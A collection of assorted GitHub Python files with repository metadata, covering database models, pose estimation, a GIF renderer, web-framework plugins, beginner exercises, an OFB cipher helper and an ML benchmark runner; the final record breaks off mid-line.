+{"seq_id":"14948913016","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\n'''\n     valid_book model\n'''\n\nimport sys\nfrom op_app.Model.base.defaultDbModelClass import DefaultDbModelClass\nfrom op_app.logger.log import dblog\n\n\nclass ValidBookModelClass(DefaultDbModelClass):\n\n    def getBookId(self, id):\n        sql = 'select book_id from valid_book where book_id=%s'\n        try:\n            ret = self._cursorQuery(sql, [id])\n            if len(ret) == 0:\n                return '-1'\n            else:\n                return ret[0][0]\n        except Exception as e:\n            dblog.error(\"[ERROR] Query error, Catch exception:[ %s ], file: [ %s ], line: [ %s ]\" % (e, __file__, sys._getframe().f_lineno))\n            return '-1'\n\n    def addBookId(self, id):\n        sql = '''insert into valid_book(`book_id`) values (%s)'''\n        try:\n            ret = self._cursorInsert(sql, [id])\n            return '1'\n        except Exception as e:\n            print(\"[ERROR] Query error, Catch exception:[ %s ], file: [ %s ], line: [ %s ]\" % (\n            e, __file__, sys._getframe().f_lineno))\n            return '-1'\n\n    def updateBook(self, id, pindao, title, book_type, is_free, valid):\n        sql = '''update valid_book set pindao=%s, title=%s, book_type=%s, is_free=%s, valid=%s where book_id=%s'''\n        try:\n            ret = self._cursorUpdate(sql, [pindao, title, book_type, is_free, valid, id])\n            return '1'\n        except Exception as e:\n            print(\"[ERROR] Update error, Catch exception:[ %s ], file: [ %s ], line: [ %s ]\" % (\n                e, __file__, sys._getframe().f_lineno))\n            return '-1'\n\n    def updateScrapyedStatus(self, book_id, result='SUCCESSED'):\n        if result == 'SUCCESSED':\n            val = 1\n        elif result == 'FAILED':\n            val = 3\n        elif result == 'RUNNING':\n            val = 2\n        else:\n            val = 4\n        sql = '''update valid_book set scrapyed=%s where book_id=%s'''\n        try:\n            ret = self._cursorUpdate(sql, [val, book_id])\n            return '1'\n        except Exception as e:\n            print(\"[ERROR] Update error, Catch exception:[ %s ], file: [ %s ], line: [ %s ]\" % (\n                e, __file__, sys._getframe().f_lineno))\n            return '-1'\n\n    def getUnCrapyedBookId(self):  #返回一个未爬取的书本ID\n        sql = '''select book_id from valid_book where is_free=1 and valid=1 and scrapyed=0 order by book_id limit 1'''\n        try:\n            ret = self._cursorQuery(sql, [])\n            if len(ret) == 0:\n                return ''\n            else:\n                return ret[0][0]\n        except Exception as e:\n            print(\"[ERROR] Query error, Catch exception:[ %s ], file: [ %s ], line: [ %s ]\" % (\n            e, __file__, sys._getframe().f_lineno))\n            return '-1'\n\n    def getFailedAndUnknowStatusBookId(self): # 得到一个状态未知或者爬取失败的书本ID\n        sql = '''select book_id from valid_book where is_free=1 and valid=1 and (scrapyed=3 or scrapyed=4) order by book_id limit 1'''\n        try:\n            ret = self._cursorQuery(sql, [])\n            if len(ret) == 0:\n                return ''\n            else:\n                return ret[0][0]\n        except Exception as e:\n            print(\"[ERROR] Query error, Catch exception:[ %s ], file: [ %s ], line: [ %s ]\" % (\n                e, __file__, sys._getframe().f_lineno))\n            return '-1'\n\n","repo_name":"yezimai/v1","sub_path":"op_app/Model/validBookModelClass.py","file_name":"validBookModelClass.py","file_ext":"py","file_size_in_byte":3407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"10230623493","text":"import argparse\r\nimport logging\r\nimport time\r\n\r\nimport cv2\r\nimport numpy as np\r\nimport os\r\n\r\nfrom tf_pose.estimator import TfPoseEstimator\r\nfrom tf_pose.networks import get_graph_path, model_wh\r\n\r\nimport math\r\nimport sys\r\nimport pickle\r\n\r\nlogger = logging.getLogger('TfPoseEstimator-WebCam')\r\nlogger.setLevel(logging.DEBUG)\r\nch = logging.StreamHandler()\r\nch.setLevel(logging.DEBUG)\r\nformatter = logging.Formatter('[%(asctime)s] [%(name)s] [%(levelname)s] %(message)s')\r\nch.setFormatter(formatter)\r\nlogger.addHandler(ch)\r\n\r\nfps_time = 0\r\n\r\ndef find_point(pose, p):\r\n    for point in pose:\r\n        try:\r\n            body_part = point.body_parts[p]\r\n            return (int(body_part.x * width + 0.5), int(body_part.y * height + 0.5))\r\n        except:\r\n            return (0,0)\r\n    return (0,0)\r\n\r\ndef euclidian( point1, point2):\r\n    return math.sqrt((point1[0]-point2[0])**2 + (point1[1]-point2[1])**2 )\r\n\r\ndef angle_calc(p0, p1, p2 ):\r\n    '''\r\n        p1 is center point from where we measured angle between p0 and\r\n    '''\r\n    try:\r\n        a = (p1[0]-p0[0])**2 + (p1[1]-p0[1])**2\r\n        b = (p1[0]-p2[0])**2 + (p1[1]-p2[1])**2\r\n        c = (p2[0]-p0[0])**2 + (p2[1]-p0[1])**2\r\n        angle = math.acos( (a+b-c) / math.sqrt(4*a*b) ) * 180/math.pi\r\n    except:\r\n        return 0\r\n    return int(angle)\r\ndef plank( a, b, c, d, e, f):\r\n    #There are ranges of angle and distance to for plank. \r\n    '''\r\n        a and b are angles of hands\r\n        c and d are angle of legs\r\n        e and f are distance between head to ankle because in plank distace will be maximum.\r\n    '''\r\n    if (a in range(50,100) or b in range(50,100)) and (c in range(135,175) or d in range(135,175)) and (e in range(50,250) or f in range(50,250)):\r\n        return True\r\n    return False\r\n\r\ndef draw_str(dst, xxx_todo_changeme, s, color, scale):\r\n    \r\n    (x, y) = xxx_todo_changeme\r\n    if (color[0]+color[1]+color[2]==255*3):\r\n        cv2.putText(dst, s, (x+1, y+1), cv2.FONT_HERSHEY_PLAIN, scale, (0, 0, 0), thickness = 4, lineType=10)\r\n    else:\r\n        cv2.putText(dst, s, (x+1, y+1), cv2.FONT_HERSHEY_PLAIN, scale, color, thickness = 4, lineType=10)\r\n    #cv2.line    \r\n    cv2.putText(dst, s, (x, y), cv2.FONT_HERSHEY_PLAIN, scale, (255, 255, 255), lineType=11)\r\n\r\ndef str2bool(v):\r\n    return v.lower() in (\"yes\", \"true\", \"t\", \"1\")\r\n\r\n\r\nif __name__ == '__main__':\r\n    parser = argparse.ArgumentParser(description='tf-pose-estimation realtime webcam')\r\n    parser.add_argument('--camera', type=str, default=0)\r\n\r\n    parser.add_argument('--resize', type=str, default='0x0',\r\n                        help='if provided, resize images before they are processed. default=0x0, Recommends : 432x368 or 656x368 or 1312x736 ')\r\n    parser.add_argument('--resize-out-ratio', type=float, default=4.0,\r\n                        help='if provided, resize heatmaps before they are post-processed. default=1.0')\r\n\r\n    parser.add_argument('--model', type=str, default='cmu', help='cmu / mobilenet_thin / mobilenet_v2_large / mobilenet_v2_small')\r\n    parser.add_argument('--show-process', type=bool, default=False,\r\n                        help='for debug purpose, if enabled, speed for inference is dropped.')\r\n    \r\n    parser.add_argument('--tensorrt', type=str, default=\"False\",\r\n                        help='for tensorrt process.')\r\n    parser.add_argument('--save-txt')\r\n    args = parser.parse_args()\r\n    \r\n#    print(\"mode 0: Only Pose Estimation \\nmode 1: Planking/Push up Detection\")\r\n#    mode = int(input(\"Enter a mode : \"))\r\n    \r\n\r\n#    logger.debug('initialization %s : %s' % (args.model, get_graph_path(args.model)))\r\n    w, h = model_wh(args.resize)\r\n    if w > 0 and h > 0:\r\n        e = TfPoseEstimator(get_graph_path(args.model), target_size=(w, h), trt_bool=str2bool(args.tensorrt))\r\n    else:\r\n        e = TfPoseEstimator(get_graph_path(args.model), target_size=(432, 368), trt_bool=str2bool(args.tensorrt))\r\n#    logger.debug('cam read+')\r\n    cam = cv2.VideoCapture(args.camera)\r\n    ret_val, image = cam.read()\r\n#    logger.info('cam image=%dx%d' % (image.shape[1], image.shape[0]))\r\n    global height,width\r\n    orange_color = (0,140,255)\r\n    frame_no = 0\r\n    os.mkdir(args.save_txt)\r\n    file_name = args.camera.split('/')[-1].split('.')[0]\r\n    while True:\r\n        ret_val, image = cam.read()\r\n        frame_no += 1\r\n#        logger.debug('image process+')\r\n        humans = e.inference(image, resize_to_default=(w > 0 and h > 0), upsample_size=args.resize_out_ratio)\r\n        pose = humans\r\n        with open(args.save_txt+'/'+file_name+'_'+str(frame_no)+'.pkl', 'wb') as f:\r\n        \tpickle.dump(pose, f)\r\n#        logger.debug('postprocess+')\r\n        image = TfPoseEstimator.draw_humans(image, humans, imgcopy=False)\r\n        height,width = image.shape[0],image.shape[1]\r\n        \r\n#        logger.debug('show+')\r\n        cv2.putText(image,\r\n                    \"FPS: %f\" % (1.0 / (time.time() - fps_time)),\r\n                    (10, 10),  cv2.FONT_HERSHEY_SIMPLEX, 0.5,\r\n                    (0, 255, 0), 2)\r\n        cv2.imshow('tf-pose-estimation result', image)\r\n        fps_time = time.time()\r\n        if cv2.waitKey(1) == 27:\r\n            break\r\n#        logger.debug('finished+')\r\n    cv2.destroyAllWindows()\r\n","repo_name":"TechChandu/Project-Thesis","sub_path":"Pose Estimation/tf-pose-estimation/run_webcam.py","file_name":"run_webcam.py","file_ext":"py","file_size_in_byte":5229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"38133654482","text":"# Original code from https://github.com/nicksandau/GIFImage_ext/blob/master/GIFImage_ext.py\n\nfrom PIL import Image\nimport pygame\nfrom pygame.locals import SRCALPHA\nimport time\n\n\nclass GIFImage(object):\n    def __init__(self, filename):\n        self.filename = filename\n        self.image = Image.open(filename)\n        self.original_size = self.image.size\n#Added by NS  *********************\n        #self.frames = []\n        self.fps_scale = 1\n        self.img_scale = 1\n#**********************************\n        self.get_frames()\n\n        self.cur = 0\n        self.ptime = time.time()\n\n        self.running = True\n        self.breakpoint = len(self.frames)-1\n        self.startpoint = 0\n        self.reversed = False\n\n    def get_rect(self):\n        return pygame.rect.Rect((0, 0), self.image.size)\n\n    def get_frames(self):\n        image = self.image\n        #Added by NS  ************\n        self.frames = []\n        #*************************\n        pal = image.getpalette()\n        base_palette = []\n        for i in range(0, len(pal), 3):\n            rgb = pal[i:i+3]\n            base_palette.append(rgb)\n\n        all_tiles = []\n        try:\n            while 1:\n                if not image.tile:\n                    image.seek(0)\n                if image.tile:\n                    all_tiles.append(image.tile[0][3][0])\n                image.seek(image.tell()+1)\n        except EOFError:\n            image.seek(0)\n\n        all_tiles = tuple(set(all_tiles))\n\n        try:\n            while 1:\n                try:\n                    duration = image.info[\"duration\"]\n                except Exception as e:\n                    print(\"Error '{0}' occurred. Arguments {1}.\",\n                          e.message, e.args)\n                    duration = 100\n\n                duration *= .001  # convert to milliseconds!\n\n                #Added by NS  ************\n                duration *= self.fps_scale\n                #*************************\n\n                cons = False\n\n                x0, y0, x1, y1 = (0, 0) + image.size\n                if image.tile:\n                    tile = image.tile\n                else:\n                    image.seek(0)\n                    tile = image.tile\n                if len(tile) > 0:\n                    x0, y0, x1, y1 = tile[0][1]\n\n                if all_tiles:\n                    if all_tiles in ((6,), (7,)):\n                        cons = True\n                        pal = image.getpalette()\n                        palette = []\n                        for i in range(0, len(pal), 3):\n                            rgb = pal[i:i+3]\n                            palette.append(rgb)\n                    elif all_tiles in ((7, 8), (8, 7)):\n                        pal = image.getpalette()\n                        palette = []\n                        for i in range(0, len(pal), 3):\n                            rgb = pal[i:i+3]\n                            palette.append(rgb)\n                    else:\n                        palette = base_palette\n                else:\n                    palette = base_palette\n\n                pi = pygame.image.fromstring(\n                    image.tobytes(), image.size, image.mode)\n                pi.set_palette(palette)\n                if \"transparency\" in image.info:\n                    pi.set_colorkey(image.info[\"transparency\"])\n                pi2 = pygame.Surface(image.size, SRCALPHA)\n                if cons:\n                    for i in self.frames:\n                        pi2.blit(i[0], (0, 0))\n                pi2.blit(pi, (x0, y0), (x0, y0, x1-x0, y1-y0))\n\n                self.frames.append([pi2, duration])\n                image.seek(image.tell()+1)\n        except EOFError:\n            pass\n\n    def render(self, screen, pos):\n        if self.running:\n            if time.time() - self.ptime > self.frames[self.cur][1]:\n                if self.reversed:\n                    self.cur -= 1\n                    if self.cur < self.startpoint:\n                        self.cur = self.breakpoint\n                else:\n                    self.cur += 1\n                    if self.cur > self.breakpoint:\n                        self.cur = self.startpoint\n\n                self.ptime = time.time()\n        #Added by NS  **************************************\n        if self.img_scale == 1:\n            surf = self.frames[self.cur][0]\n        else:\n            surf = pygame.transform.scale(self.frames[self.cur][0],\n                                          (int(self.image.width * self.img_scale),\n                                           int(self.image.height * self.img_scale)))\n        screen.blit(surf, pos)\n        #screen.blit(self.frames[self.cur][0], pos)\n        #***************************************************\n\n    def seek(self, num):\n        self.cur = num\n        if self.cur < 0:\n            self.cur = 0\n        if self.cur >= len(self.frames):\n            self.cur = len(self.frames)-1\n\n    def set_bounds(self, start, end):\n        if start < 0:\n            start = 0\n        if start >= len(self.frames):\n            start = len(self.frames) - 1\n        if end < 0:\n            end = 0\n        if end >= len(self.frames):\n            end = len(self.frames) - 1\n        if end < start:\n            end = start\n        self.startpoint = start\n        self.breakpoint = end\n\n    def pause(self):\n        self.running = False\n\n#added by NS  ********************************\n    def next_frame(self):\n        if self.running:\n            self.pause()\n        else:\n            self.cur += 1\n            if self.cur > self.breakpoint:\n                self.cur = self.startpoint\n\n    def prev_frame(self):\n        if self.running:\n            self.pause()\n        else:\n            self.cur -= 1\n            if self.cur < 0:\n                self.cur = self.breakpoint\n\n    def slow_down(self):\n        self.fps_scale += .05 if self.fps_scale != .01 else .04\n        self.get_frames()\n        self.seek(self.cur)\n\n    def speed_up(self):\n        if self.fps_scale - .05 <= 0:\n            self.fps_scale = .01\n        else:\n            self.fps_scale -= .25\n        self.get_frames()\n        self.seek(self.cur)\n\n    def scale(self, scale_factor):\n        self.img_scale += scale_factor\n\n    def reset_scale(self):\n        self.img_scale = 1\n#*********************************************\n\n    def play(self):\n        self.running = True\n\n    def rewind(self):\n        self.seek(0)\n\n    def fastforward(self):\n        self.seek(self.length()-1)\n\n    def get_height(self):\n        return self.image.size[1]\n\n    def get_width(self):\n        return self.image.size[0]\n\n    def get_size(self):\n        return self.image.size\n\n    def length(self):\n        return len(self.frames)\n\n    def reverse(self):\n        self.reversed = not self.reversed\n\n    def reset(self):\n        self.cur = 0\n        self.ptime = time.time()\n        self.reversed = False\n\n    def copy(self):\n        new = GIFImage(self.filename)\n        new.running = self.running\n        new.breakpoint = self.breakpoint\n        new.startpoint = self.startpoint\n        new.cur = self.cur\n        new.ptime = self.ptime\n        new.reversed = self.reversed\n        #Added by NS  ****\n        new.fps_scale = self.fps_scale\n        #*****************\n        return new\n","repo_name":"sajjadium/ctf-archives","sub_path":"ctfs/HITCON/2021/rev/baba-is-rev/BabaGUI/images.py","file_name":"images.py","file_ext":"py","file_size_in_byte":7253,"program_lang":"python","lang":"en","doc_type":"code","stars":490,"dataset":"github-code","pt":"77"}
+{"seq_id":"17080921002","text":"from lino import ad, _\n\n\nclass Plugin(ad.Plugin):\n    \"See :doc:`/dev/plugins`.\"\n\n    verbose_name = _(\"Concepts\")\n\n    def setup_main_menu(self, site, profile, m):\n        m = m.add_menu(self.app_label, self.verbose_name)\n        m.add_action('concepts.Concepts')\n\n\n","repo_name":"amir17688/google_data_p2","sub_path":"86898___init__.py_C__Users_user_Desktop_data_2_data_google_data_lsaffre_lino_lino_modlib_concepts.py","file_name":"86898___init__.py_C__Users_user_Desktop_data_2_data_google_data_lsaffre_lino_lino_modlib_concepts.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73579534649","text":"from odoo import api, fields, models, _\n\nclass PurchaseRequestHistory(models.TransientModel):\n\t_name = 'purchase.request.history'\n\t_description = 'Purchase Request History'\n\n\n\tdate = fields.Datetime(string='From(Request Date)', help='Choose a date to get requests from that date', default=fields.Datetime.now)\n\n\tdef open_table(self):\n\t\tself.ensure_one()\n\n\t\ttree_view_id = self.env.ref('kolarequisition.requisition_line_view_tree').id\n\t\tform_view_id = self.env.ref('kolarequisition.requisition_line_form').id\n\t\t#we pass 'to_date' in the context so that the requests will be computed accross \n\t\t#till the to date and the state be checked as well\n\n\t\taction = {\n\t\t\t'type': 'ir.actions.act_window',\n\t\t\t'views': [(tree_view_id, 'tree'), (form_view_id, 'form')],\n\t\t\t'view_mode': 'tree,form',\n\t\t\t'name': _('Request lines'),\n\t\t\t'res_model': 'kola.requisition.lines',\n\t\t\t'domain': \"[('status', 'in', ['validate'])]\",\n\t\t\t'context': dict(self.env.context, create_date=self.date),\n\t\t}\n\t\treturn action\n\t\t\n\n\n","repo_name":"madrara256/e-procurement","sub_path":"kolarequisition/wizard/purchase_request_history.py","file_name":"purchase_request_history.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"6096066638","text":"# Create three variables and attach a value to each\npeople = 20\ncats = 30\ndogs = 15\n\n# if statement, checks whether there are less people than cats\nif people < cats:\n    # prints result\n    print(\"Too many cats! The world is doomed!\")\n\n# if statement, checks whether there are more cats than people\nif people > cats:\n    # prints result\n    print(\"Not many Cats! The world is saved!\")\n\n# if statement, check if more dogs than people\nif people < dogs:\n    # print result\n    print(\"The world is drooled on!\")\n\n# if statement, check if more people than dogs\nif people > dogs:\n    # print result\n    print(\"The world is dry!\")\n\n# add an increment of 5 to dog value\ndogs += 5\n\n# if statement, check whether people are greater than or equal to dogs\nif people >= dogs:\n    # print result\n    print(\"People are greater than or equal to dogs.\")\n\n# if statement, check whether people are less than or equal to dogs\nif people <= dogs:\n    # print result\n    print(\"People are less than or equal to dogs.\")\n\n# if equal statement, checks if people are dogs\nif people == dogs:\n    # print result\n    print(\"People are dogs\")\n\n\n# 1. What do you think the `if` does to the code below it?\n##### It indents the code, checks statement\n\n# 2. Why does the code under the `if` need to be indented four spaces?\n##### This allows the computer to read the return/print statement, else it cannot distinguish it from the other statements\n","repo_name":"michodgs25/python-exercises","sub_path":"exercises/if-statement.py","file_name":"if-statement.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"23627808029","text":"from copy import copy\nfrom bfish import *\nfrom util import *\n\ndef OFB(bytes_array, BLOCK_SIZE) -> bytes:\n    init_block = copy(init)\n    result = []\n    \n    for i in range(0, len(bytes_array), BLOCK_SIZE):\n        block = bytes_array[i:i+BLOCK_SIZE]\n        enc_init_block = cipher.encrypt_block(init_block)\n        \n        gamma = bytes(enc_init_block[:BLOCK_SIZE])\n        init_block = update_init(init_block, gamma)  \n        \n        block = bytes(a ^ b for (a, b) in zip(block, gamma))\n        \n        result.extend(block)\n        \n    return bytes(result)","repo_name":"vnrdd/ofb-cfb","sub_path":"ofb.py","file_name":"ofb.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"33045874624","text":"from SRCNN.srcnn_arch import load_net\nimport utils\nimport numpy as np\nimport onnxruntime\nimport cv2\n\ndef test_model(img_path,weight_path = \"SRCNN/srcnn.pth\"):\n    net = load_net(weight_path)\n    img = utils.read_img(img_path)\n    out = net(img.unsqueeze(0))\n    utils.tensor2img(out[0],\"sr_result.png\")\n\ndef test_onnx(img_path,onnx_path):\n    input_img = cv2.imread(img_path).astype(np.float32)\n    input_img = np.transpose(input_img, [2, 0, 1]) \n    input_img = np.expand_dims(input_img, 0)\n    \n    ort_session = onnxruntime.InferenceSession(onnx_path,providers=[\"CPUExecutionProvider\"]) \n    ort_inputs = {'input': input_img} \n    ort_output = ort_session.run(['output'], ort_inputs)[0] \n    \n    ort_output = np.squeeze(ort_output, 0) \n    ort_output = np.clip(ort_output, 0, 255) \n    ort_output = np.transpose(ort_output, [1, 2, 0]).astype(np.uint8) \n    cv2.imwrite(\"face_ort.png\", ort_output)\n\nif __name__ == \"__main__\":\n    img_path = \"image/face.png\"\n    onnx_path = \"SRCNN/srcnn_sim.onnx\"\n    # test_model(img_path)\n    test_onnx(img_path,onnx_path)","repo_name":"cslvjt/modelDeploy","sub_path":"test_model.py","file_name":"test_model.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"36316963051","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import, division, print_function\n\n__metaclass__ = type\n\n\nclass ModuleDocFragment(object):\n\n    DOCUMENTATION = r\"\"\"\noptions:\n  obj_id:\n    type: int\n    description: i-doit object id\n    required: true\n\"\"\"\n","repo_name":"ScaleUp-Technologies/ansible-i-doit","sub_path":"plugins/doc_fragments/category_options.py","file_name":"category_options.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"77"}
+{"seq_id":"29325838709","text":"#Aprobación de créditos\ningreso=int(input(\"Ingrese el ingreso del cliente (en pesos): \"))\nano_nacimiento=int(input(\"Ingrese el año de nacimiento del cliente: \"))\nhijos=int(input(\"Ingrese el número de hijos del cliente: \"))\npertenencia= int(input(\"Ingrese los años de pertenencia al banco del cliente: \"))\nestado_civil=input(\"Ingrese el estado civil del cliente (S para soltero, C para casado): \").upper()\nubicacion=input(\"Ingrese la ubicación del cliente (U para urbano, R para rural): \").upper()\n\nif (pertenencia>10 and hijos>= 2):\n    print(\"APROBADO\")\nelif (estado_civil==\"C\" and hijos>3 and año_nacimiento>=45 and año_nacimiento<=55):\n    print(\"APROBADO\")\nelif (ingreso>2500000 and estado_civil==\"S\" and ubicacion==\"U\"):\n    print(\"APROBADO\")\nelif (ingreso>3500000 and pertenencia>5):\n    print(\"APROBADO\")\nelif (ubicacion==\"R\" and estado_civil==\"C\" and hijos<2):\n    print(\"APROBADO\")\nelse:\n    print(\"RECHAZADO\")     ","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej3/hito1_ej3_142e3b299bb4fea8426c307ffa59c772.py","file_name":"hito1_ej3_142e3b299bb4fea8426c307ffa59c772.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"8643399678","text":"import numpy as np\nimport tensorflow as tf\n\nx_data = np.random.random((1000,13))\ny_data = np.random.random((1000,1))\n\n# 1.定义添加层的方法\ndef add_layer(input_data, in_size, out_size, activity_function=None):\n    a = tf.Variable(tf.random_normal([in_size, out_size]))\n    b = tf.Variable(tf.zeros([1, out_size]) + 0.1)\n    result = tf.matmul(input_data, a) + b\n    if activity_function is None:\n        answer = result\n    else:\n        answer = activity_function(result)\n    return answer\n\n# 2.定义结点准备接收数据\nxs = tf.placeholder(tf.float32, [None, 13])\nys = tf.placeholder(tf.float32, [None, 1])\n\n# 3.定义神经网络结构\nhidden_1 = add_layer(xs, 13, 10, activity_function=tf.nn.sigmoid)\nprediction = add_layer(hidden_1, 10, 1, activity_function=tf.nn.sigmoid)\n\n# 4.定义误差表达式\nloss = tf.reduce_mean(tf.reduce_sum(tf.square(ys - prediction), reduction_indices=[1]))\n\n# 5.选择optimizer使误差达到最小\ntrain = tf.train.GradientDescentOptimizer(0.1).minimize(loss)\n\n# 6.对所有的变量进行初始化\ninit = tf.global_variables_initializer()\nsess = tf.Session()\nsess.run(init)\n\n# 7.迭代1000次学习\nfor i in range(1000):\n    sess.run(train, feed_dict={xs: x_data, ys: y_data})\n    # if i%10 == 0:\n    #     print(sess.run(loss, feed_dict={xs: x_data, ys: y_data}))\n\nprint(sess.run(prediction-y_data, feed_dict={xs: x_data, ys: y_data}))\n","repo_name":"xiaokanchaliang/DeepLearning","sub_path":"BPNN.py","file_name":"BPNN.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"25811264937","text":"# https://leetcode.com/problems/the-kth-factor-of-n\n\n\nclass Solution:\n    def kthFactor(self, n: int, k: int) -> int:\n        j = 0\n        for i in range(1, n + 1):\n            if n % i == 0:\n                j += 1\n                if j == k:\n                    return i\n        return -1\n","repo_name":"dandavison/misc-python","sub_path":"lc-the-kth-factor-of-n.py","file_name":"lc-the-kth-factor-of-n.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"15195548419","text":"import argparse\nimport os\nimport subprocess as sp\nimport sys\nimport threading\nimport time\nfrom utils import concat_folder\nfrom tqdm import tqdm\n\nINTERPRETER=\"python\"\n\nFLAGS = [\n    ('agent', [\n        'naive', 'optimal', 'sophisticated', 'myopic', 'underconfident',\n        'overconfident'\n    ]),\n    ('algorithm', [\n        'given_rewards', 'em_with_init', 'boltzmann_planner', 'vi_inference',\n        'optimal_planner', 'joint_with_init', 'em_without_init',\n        'joint_without_init'\n    ]),\n]\n\nCONSTANT_FLAGS = [\n    ('simple_mdp', False),\n    ('imsize', 16),\n    ('noise', 0.2),\n    ('num_rewards', 7),\n    ('num_human_trajectories', 8000),\n    ('vin_regularizer_C', 1e-4),\n    ('reward_regularizer_C', 0),\n    ('lr', 0.01),\n    ('reward_lr', 1.0),\n    ('epochs', 20),\n    ('reward_epochs', 50),\n    ('k', 10),\n    ('ch_h', 150),\n    ('ch_p', 5),\n    ('ch_q', 5),\n    ('num_actions', 5),\n    ('batchsize', 20),\n    ('gamma', 0.95),\n    ('num_iters', 50),\n    ('max_delay', 10),\n    ('hyperbolic_constant', 1.0),\n    ('display_step', 1),\n    ('log', False),\n    ('verbosity', 1),\n    ('plot_rewards', False),\n    ('use_gpu', True),\n    ('strict', False),\n]\n\ndef get_algorithm_specific_flags(flags):\n    [alg] = [val for name, val in flags if name == 'algorithm']\n    flag_names = ['em_iterations', 'num_simulated', 'num_with_rewards', 'num_validation', 'model']\n    if alg == 'given_rewards':\n        flag_values = [0, 0, 7000, 2000, 'VIN']\n    elif alg in ['boltzmann_planner', 'optimal_planner']:\n        flag_values = [0, 5000, 0, 2000, 'VIN']\n    elif alg == 'em_with_init':\n        flag_values = [2, 5000, 0, 2000, 'VIN']\n    elif alg == 'joint_with_init':\n        flag_values = [0, 5000, 0, 2000, 'VIN']\n    elif alg == 'em_without_init':\n        flag_values = [2, 0, 0, 0, 'VIN']\n    elif alg == 'joint_without_init':\n        flag_values = [0, 0, 0, 0, 'VIN']\n    elif alg == 'vi_inference':\n        flag_values = [0, 0, 0, 0, 'VI']\n    else:\n        raise ValueError('Unknown algorithm {}'.format(alg))\n\n    return list(zip(flag_names, flag_values))\n\ndef get_agent_specific_flags(flags):\n    [agent] = [val for name, val in flags if name == 'agent']\n    if agent == 'overconfident':\n        return [('calibration_factor', 5)]\n    elif agent == 'underconfident':\n        return [('calibration_factor', 0.5)]\n    elif agent in ['optimal', 'naive', 'sophisticated', 'myopic']:\n        return [('calibration_factor', 1)]\n    else:\n        raise ValueError('Unknown agent {}'.format(agent))\n\ndef get_beta_flag(flags):\n    [agent] = [val for name, val in flags if name == 'agent']\n    if agent in ['optimal', 'overconfident']:\n        return ('beta', 0.1)\n    elif agent in ['naive', 'sophisticated', 'myopic', 'underconfident']:\n        return ('beta', 1.0)\n    else:\n        raise ValueError('Unknown agent {}'.format(agent))\n\ndef flag_generator(flags):\n    \"\"\"Returns a generator that yields list of (flag, value) tuples.\"\"\"\n    if not flags:\n        yield []\n        return\n\n    flag_name, flag_values = flags[0]\n    for value in flag_values:\n        for sublst in flag_generator(flags[1:]):\n            yield [(flag_name, value)] + sublst\n\n\ndef run_command(command, error_file, gpu_id, gpu_utilization, lock):\n    command_str = ' '.join(command)\n    try:\n        with lock:\n            os.environ[\"CUDA_VISIBLE_DEVICES\"] = str(gpu_id)\n            proc = sp.Popen(command, stdout=sp.PIPE, stderr=sp.PIPE)\n            # Give it a few seconds to start up and read CUDA_VISIBLE_DEVICES\n            time.sleep(5)\n        out, err = proc.communicate()\n        with lock:\n            gpu_utilization[gpu_id] -= 1\n            print('Ran command: {}'.format(command_str))\n            print(out.decode('utf-8'))\n            with open(error_file, 'a') as errtxt:\n                errtxt.write(command_str + '\\n')\n                errtxt.write(err.decode('utf-8'))\n        return True\n    except Exception as e:\n        print(\"Failed to run: {} because of exception {}\".format(command_str))\n        return False\n\nclass CommandRunner(object):\n    def __init__(self, num_gpus):\n        self.num_gpus = num_gpus\n        self.gpu_utilization = {numeric_id:0 for numeric_id in range(num_gpus)}\n        self.lock = threading.Lock()\n\n    def find_gpu(self):\n        with self.lock:\n            gpu_id, utilization = min(self.gpu_utilization.items(), key=lambda x: x[1])\n            if utilization >= 4:\n                return None\n            self.gpu_utilization[gpu_id] += 1\n            return gpu_id\n\n    def run_command_async(self, interpreter, flags, dest):\n        base_command = [interpreter, 'train.py', '--output_folder={}'.format(dest)]\n        flag_strs = ['--{}={}'.format(name, val) for name, val in flags]\n        command = base_command + flag_strs\n        error_file = concat_folder(dest, 'errors.log')\n        gpu_id = self.find_gpu()\n        while gpu_id is None:\n            time.sleep(10)\n            gpu_id = self.find_gpu()\n        threading.Thread(\n            target=run_command,\n            args=(command, error_file, gpu_id, self.gpu_utilization, self.lock)).start()\n\n    def is_done(self):\n        return set(self.gpu_utilization.values()) == set([0])\n\n\ndef run_benchmarks(low, high, interpreter, flag_parameters, constant_flags, num_gpus, dest):\n    \"\"\"\n    :param interpreter: path to relevant python executable\n    :param flags: dictionary of flags: [benchmark_values]\n    high-low = # of trials run per config\n    \"\"\"\n    if not os.path.isdir(dest):\n        os.mkdir(dest)\n\n    runner = CommandRunner(num_gpus)\n    for start in tqdm(range(low, high), desc='# trials'):\n        seeds = range(10 * start, 10 * (start + 1))\n        seed_flag = ('seeds', ','.join([str(seed) for seed in seeds]))\n        for flags in tqdm(flag_generator(flag_parameters), desc='parameter combinations'):\n            algorithm_flags = get_algorithm_specific_flags(flags)\n            agent_flags = get_agent_specific_flags(flags)\n            beta_flag = get_beta_flag(flags)\n            all_flags 